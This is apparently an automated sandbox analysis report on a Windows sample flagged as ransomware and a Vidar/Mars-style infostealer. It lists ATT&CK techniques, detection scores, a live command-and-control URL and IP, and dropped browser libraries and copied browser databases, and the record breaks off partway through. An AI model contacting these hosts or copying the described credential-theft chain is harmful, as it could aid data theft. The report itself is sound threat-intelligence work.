Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_6090577D sqlite3_bind_parameter_name,	0_2_6090577D
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_6090576B sqlite3_bind_parameter_count,	0_2_6090576B
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_6090EAE5 sqlite3_transfer_bindings,	0_2_6090EAE5

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	31 Native API	1 DLL Side-Loading	11 Process Injection	1 Masquerading	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	LSASS Memory	131 Security Software Discovery	Remote Desktop Protocol	3 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Account Discovery	Distributed Component Object Model	Input Capture	24 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 System Owner/User Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	3 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Software Packing	DCSync	225 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 File Deletion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Uin5FyPXbS.exe	96%	ReversingLabs	Win32.Ransomware.DopplePaymer
Uin5FyPXbS.exe	81%	Virustotal		Browse
Uin5FyPXbS.exe	100%	Avira	TR/Crypt.XPACK.Gen
Uin5FyPXbS.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal	Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	Virustotal	Browse
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	Virustotal	Browse
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	Virustotal	Browse
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	Virustotal	Browse
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	Virustotal	Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
couriercare.in	23%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://www.mozilla.com0	0%	URL Reputation	safe
http://www.mozilla.com0	0%	URL Reputation	safe
couriercare.in/18/gate.php	100%	Avira URL Cloud	malware
http://couriercare.in/18/gate.phpH	100%	Avira URL Cloud	malware
http://couriercare.in/request	100%	Avira URL Cloud	malware
http://couriercare.in/18/gate.php	100%	Avira URL Cloud	malware
http://couriercare.in/request	0%	Virustotal		Browse
couriercare.in/18/gate.php	18%	Virustotal		Browse
http://couriercare.in/18/gate.php	18%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
couriercare.in	192.187.112.99	true	true	23%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
couriercare.in/18/gate.php	true	18%, Virustotal, Browse Avira URL Cloud: malware	low
http://couriercare.in/18/gate.php	true	18%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://couriercare.in/request	true	0%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ac.ecosia.org/autocomplete?q=	9R1NG4OZ.0.dr	false		high
https://duckduckgo.com/chrome_newtab	9R1NG4OZ.0.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	Uin5FyPXbS.exe, 00000000.00000003.1635907419.000000000F1A3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.mozilla.com/en-US/blocklist/	mozglue.dll.0.dr	false		high
https://duckduckgo.com/ac/?q=	9R1NG4OZ.0.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	9R1NG4OZ.0.dr	false		high
http://crl.thawte.com/ThawteTimestampingCA.crl0	Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	6F3E3ECT.0.dr	false		high
http://ocsp.thawte.com0	Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	9R1NG4OZ.0.dr	false		high
http://www.mozilla.com0	Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	9R1NG4OZ.0.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	9R1NG4OZ.0.dr	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	Uin5FyPXbS.exe, 00000000.00000002.1658233914.000000000F488000.00000004.00000020.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000003.1627536757.00000000007B2000.00000004.00000020.00020000.00000000.sdmp, 6F3E3ECT.0.dr	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	6F3E3ECT.0.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	Uin5FyPXbS.exe, 00000000.00000002.1658233914.000000000F488000.00000004.00000020.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000003.1627536757.00000000007B2000.00000004.00000020.00020000.00000000.sdmp, 6F3E3ECT.0.dr	false		high
https://www.ecosia.org/newtab/	9R1NG4OZ.0.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	9R1NG4OZ.0.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Uin5FyPXbS.exe, 00000000.00000003.1635907419.000000000F1A3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefox	Uin5FyPXbS.exe, 00000000.00000002.1658618754.000000001012A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://couriercare.in/18/gate.phpH	Uin5FyPXbS.exe, 00000000.00000002.1651279912.000000000074A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
192.187.112.99	couriercare.in	United States		33387	NOCIXUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1411502
Start date and time:	2024-03-19 08:56:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Uin5FyPXbS.exe renamed because original name is a hash value
Original Sample Name:	538cc587125f738ae81e2e4fe28c0084.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/15@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 79 Number of non-executed functions: 87
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:56:51	API Interceptor	1x Sleep call for process: Uin5FyPXbS.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
192.187.112.99	DZ1x3hqhbe.exe	Get hash	malicious	Mars Stealer, Vidar	Browse	couriercare.in/2/gate.php
192.187.112.99	INV_34897003.pif.exe	Get hash	malicious	Mars Stealer, Vidar	Browse	pushpointdelivery.com/gate.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
couriercare.in	DZ1x3hqhbe.exe	Get hash	malicious	Mars Stealer, Vidar	Browse	192.187.112.99

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NOCIXUS	TduoIaOsBQ.elf	Get hash	malicious	Unknown	Browse	198.204.224.33
	4DU7NWnERk.elf	Get hash	malicious	Mirai	Browse	198.204.224.34
	qCgtVyWfS6.elf	Get hash	malicious	Mirai	Browse	198.204.224.18
	Arborean.exe	Get hash	malicious	FormBook, GuLoader	Browse	192.187.111.219
	Yolk.exe	Get hash	malicious	FormBook, GuLoader	Browse	63.141.242.45
	file.exe	Get hash	malicious	BazaLoader	Browse	142.54.162.114
	file.exe	Get hash	malicious	LummaC Stealer, SmokeLoader	Browse	107.150.32.250
	file.exe	Get hash	malicious	BazaLoader	Browse	199.168.103.138
	DZ1x3hqhbe.exe	Get hash	malicious	Mars Stealer, Vidar	Browse	192.187.112.99
	ATT00001.htm	Get hash	malicious	Unknown	Browse	192.187.118.114

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	WTsvUl9X8N.exe	Get hash	malicious	Oski Stealer, Vidar	Browse
	DZ1x3hqhbe.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	4bVsmYiuXy.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	SecuriteInfo.com.Win32.Evo-gen.25423.22998.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	PmX1jHdUnS.exe	Get hash	malicious	Oski Stealer, Vidar	Browse
	INV_34897003.pif.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	cBMUYyAn60.exe	Get hash	malicious	Oski Stealer, Vidar	Browse
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse
	file.exe	Get hash	malicious	PrivateLoader	Browse
	file.exe	Get hash	malicious	PrivateLoader	Browse

Created / dropped Files

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\Uin5FyPXbS.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	334288
Entropy (8bit):	6.807000203861606
Encrypted:	false
SSDEEP:	6144:C8YBC2NpfYjGg7t5xb7WOBOLFwh8yGHrIrvqqDL6XPowD:CbG7F35BVh8yIZqn65D
MD5:	EF2834AC4EE7D6724F255BEAF527E635
SHA1:	5BE8C1E73A21B49F353C2ECFA4108E43A883CB7B
SHA-256:	A770ECBA3B08BBABD0A567FC978E50615F8B346709F8EB3CFACF3FAAB24090BA
SHA-512:	C6EA0E4347CBD7EF5E80AE8C0AFDCA20EA23AC2BDD963361DFAF562A9AED58DCBC43F89DD826692A064D76C3F4B3E92361AF7B79A6D16A75D9951591AE3544D2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: WTsvUl9X8N.exe, Detection: malicious, Browse Filename: DZ1x3hqhbe.exe, Detection: malicious, Browse Filename: 4bVsmYiuXy.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Evo-gen.25423.22998.exe, Detection: malicious, Browse Filename: PmX1jHdUnS.exe, Detection: malicious, Browse Filename: INV_34897003.pif.exe, Detection: malicious, Browse Filename: cBMUYyAn60.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........./...AV..AV..AV...V..AV].@W..AV.1.V..AV].BW..AV].DW..AV].EW..AV..@W..AVO.@W..AV..@V.AVO.BW..AVO.EW..AVO.AW..AVO.V..AVO.CW..AVRich..AV........................PE..L....b.[.........."!.........f......)........................................p.......s....@.........................p...P............@..x....................P......0...T...............................@...............8............................text...t........................... ..`.rdata..............................@..@.data...,H..........................@....rsrc...x....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\Uin5FyPXbS.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	137168
Entropy (8bit):	6.78390291752429
Encrypted:	false
SSDEEP:	3072:7Gyzk/x2Wp53pUzPoNpj/kVghp1qt/dXDyp4D2JJJvPhrSeTuk:6yQ2Wp53iO/kVghp12/dXDyyD2JJJvPR
MD5:	8F73C08A9660691143661BF7332C3C27
SHA1:	37FA65DD737C50FDA710FDBDE89E51374D0C204A
SHA-256:	3FE6B1C54B8CF28F571E0C5D6636B4069A8AB00B4F11DD842CFEC00691D0C9CD
SHA-512:	0042ECF9B3571BB5EBA2DE893E8B2371DF18F7C5A589F52EE66E4BFBAA15A5B8B7CC6A155792AAA8988528C27196896D5E82E1751C998BACEA0D92395F66AD89
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........U..;..;..;.....;.W....;...8..;...?..;...:..;...>..;...:...;..:.w.;...?..;...>..;...;..;......;...9..;.Rich.;.........................PE..L...._.[.........."!.....z...................................................@.......3....@A........................@...t.......,.... ..x....................0..h.......T...................T.......h...@...................l........................text....x.......z.................. ..`.rdata..^e.......f...~..............@..@.data...............................@....didat..8...........................@....rsrc...x.... ......................@..@.reloc..h....0......................@..B........................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\Uin5FyPXbS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	440120
Entropy (8bit):	6.652844702578311
Encrypted:	false
SSDEEP:	12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI
MD5:	109F0F02FD37C84BFC7508D4227D7ED5
SHA1:	EF7420141BB15AC334D3964082361A460BFDB975
SHA-256:	334E69AC9367F708CE601A6F490FF227D6C20636DA5222F148B25831D22E13D4
SHA-512:	46EB62B65817365C249B48863D894B4669E20FCB3992E747CD5C9FDD57968E1B2CF7418D1C9340A89865EADDA362B8DB51947EB4427412EB83B35994F932FD39
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A.........V5=......A.....;........."...;......;......;.......;.......;......;.-....;......Rich...........PE..L....8'Y.........."!................P........ ......................................az....@A.........................C.......R..,....................x..8?......4:...f..8............................(..@............P.......@..@....................text...r........................... ..`.data....(... ......................@....idata..6....P....... ..............@..@.didat..4....p.......6..............@....rsrc................8..............@..@.reloc..4:.......<...<..............@..B........................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\Uin5FyPXbS.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1246160
Entropy (8bit):	6.765536416094505
Encrypted:	false
SSDEEP:	24576:Sb5zzlswYNYLVJAwfpeYQ1Dw/fEE8DhSJVIVfRyAkgO6S/V/jbHpls4MSRSMxkoo:4zW5ygDwnEZIYkjgWjblMSRSMqH
MD5:	BFAC4E3C5908856BA17D41EDCD455A51
SHA1:	8EEC7E888767AA9E4CCA8FF246EB2AACB9170428
SHA-256:	E2935B5B28550D47DC971F456D6961F20D1633B4892998750140E0EAA9AE9D78
SHA-512:	2565BAB776C4D732FFB1F9B415992A4C65B81BCD644A9A1DF1333A269E322925FC1DF4F76913463296EFD7C88EF194C3056DE2F1CA1357D7B5FE5FF0DA877A66
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#.4.g.Z.g.Z.g.Z.n...s.Z..[.e.Z..B..c.Z..Y.j.Z.._.m.Z..^.l.Z.E.[.o.Z..[.d.Z.g.[..Z..^.m.Z..Z.f.Z....f.Z..X.f.Z.Richg.Z.................PE..L....b.[.........."!................w........................................@............@..................................=..T.......p........................}..p...T..............................@............................................text............................... ..`.rdata...R.......T..................@..@.data...tG...`..."...B..............@....rsrc...p............d..............@..@.reloc...}.......~...h..............@..B........................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\Uin5FyPXbS.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	144848
Entropy (8bit):	6.539750563864442
Encrypted:	false
SSDEEP:	3072:UAf6suip+d7FEk/oJz69sFaXeu9CoT2nIVFetBWsqeFwdMIo:p6PbsF4CoT2OeU4SMB
MD5:	A2EE53DE9167BF0D6C019303B7CA84E5
SHA1:	2A3C737FA1157E8483815E98B666408A18C0DB42
SHA-256:	43536ADEF2DDCC811C28D35FA6CE3031029A2424AD393989DB36169FF2995083
SHA-512:	45B56432244F86321FA88FBCCA6A0D2A2F7F4E0648C1D7D7B1866ADC9DAA5EDDD9F6BB73662149F279C9AB60930DAD1113C8337CB5E6EC9EED5048322F65F7D8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l$...JO..JO..JO.u.O..JO?oKN..JO?oIN..JO?oON..JO?oNN..JO.mKN..JO-nKN..JO..KO~.JO-nNN..JO-nJN..JO-n.O..JO-nHN..JORich..JO........PE..L....b.[.........."!.........b...............................................P............@..........................................0..x....................@..`.......T...........................(...@...............l............................text.............................. ..`.rdata...D.......F..................@..@.data........ ......................@....rsrc...x....0......................@..@.reloc..`....@......................@..B........................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\Uin5FyPXbS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83784
Entropy (8bit):	6.890347360270656
Encrypted:	false
SSDEEP:	1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF
MD5:	7587BF9CB4147022CD5681B015183046
SHA1:	F2106306A8F6F0DA5AFB7FC765CFA0757AD5A628
SHA-256:	C40BB03199A2054DABFC7A8E01D6098E91DE7193619EFFBD0F142A7BF031C14D
SHA-512:	0B63E4979846CEBA1B1ED8470432EA6AA18CCA66B5F5322D17B14BC0DFA4B2EE09CA300A016E16A01DB5123E4E022820698F46D9BAD1078BD24675B4B181E91F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........NE...E...E.....".G...L.^.N...E...l.......U.......V.......A......._.......D.....2.D.......D...RichE...........PE..L....8'Y.........."!......... ...............................................@............@A......................................... ..................H?...0..........8...............................@............................................text............................... ..`.data...D...........................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\Uin5FyPXbS.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\Uin5FyPXbS.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\0ZUSR1VA

Download File

Process:	C:\Users\user\Desktop\Uin5FyPXbS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\6F3E3ECT

Download File

Process:	C:\Users\user\Desktop\Uin5FyPXbS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\9R1NG4OZ

Download File

Process:	C:\Users\user\Desktop\Uin5FyPXbS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\BI5PPHVA

Download File

Process:	C:\Users\user\Desktop\Uin5FyPXbS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\MGLN7QIE

Download File

Process:	C:\Users\user\Desktop\Uin5FyPXbS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
